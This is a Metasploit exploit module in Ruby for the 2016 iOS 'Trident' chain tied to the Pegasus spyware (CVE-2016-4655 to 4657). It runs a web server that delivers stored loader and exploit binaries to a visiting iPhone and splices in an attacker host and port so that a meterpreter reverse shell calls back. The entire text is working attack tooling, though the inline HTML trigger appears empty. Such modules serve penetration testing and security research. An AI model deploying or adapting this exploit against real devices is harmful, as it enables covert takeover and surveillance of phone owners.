## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'WebKit not_number defineProperties UAF', 'Description' => %q{ This module exploits a UAF vulnerability in WebKit's JavaScriptCore library. }, 'License' => MSF_LICENSE, 'Author' => [ 'qwertyoruiop', # jbme.qwertyoruiop.com 'siguza', # PhoenixNonce 'tihmstar', # PhoenixNonce 'timwr', # metasploit integration ], 'References' => [ ['CVE', '2016-4655'], ['CVE', '2016-4656'], ['CVE', '2016-4657'], ['BID', '92651'], ['BID', '92652'], ['BID', '92653'], ['URL', 'https://blog.lookout.com/trident-pegasus'], ['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'], ['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'], ['URL', 'https://github.com/Siguza/PhoenixNonce'], ['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'], ['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'], ], 'Arch' => ARCH_AARCH64, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Aug 25 2016')) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ]) ]) end def on_request_uri(cli, request) print_status("Request from #{request['User-Agent']}") if request.uri =~ %r{/loader$} print_good("Target is vulnerable.") local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" ) loader_data = File.read(local_file, {:mode => 'rb'}) send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return elsif request.uri =~ %r{/exploit$} local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" ) loader_data = File.read(local_file, {:mode => 'rb'}) payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}" payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, payload_url.length] = payload_url send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) print_status("Sent exploit (#{loader_data.size} bytes)") return end html = %Q^ ^ send_response(cli, html, {'Content-Type'=>'text/html'}) end end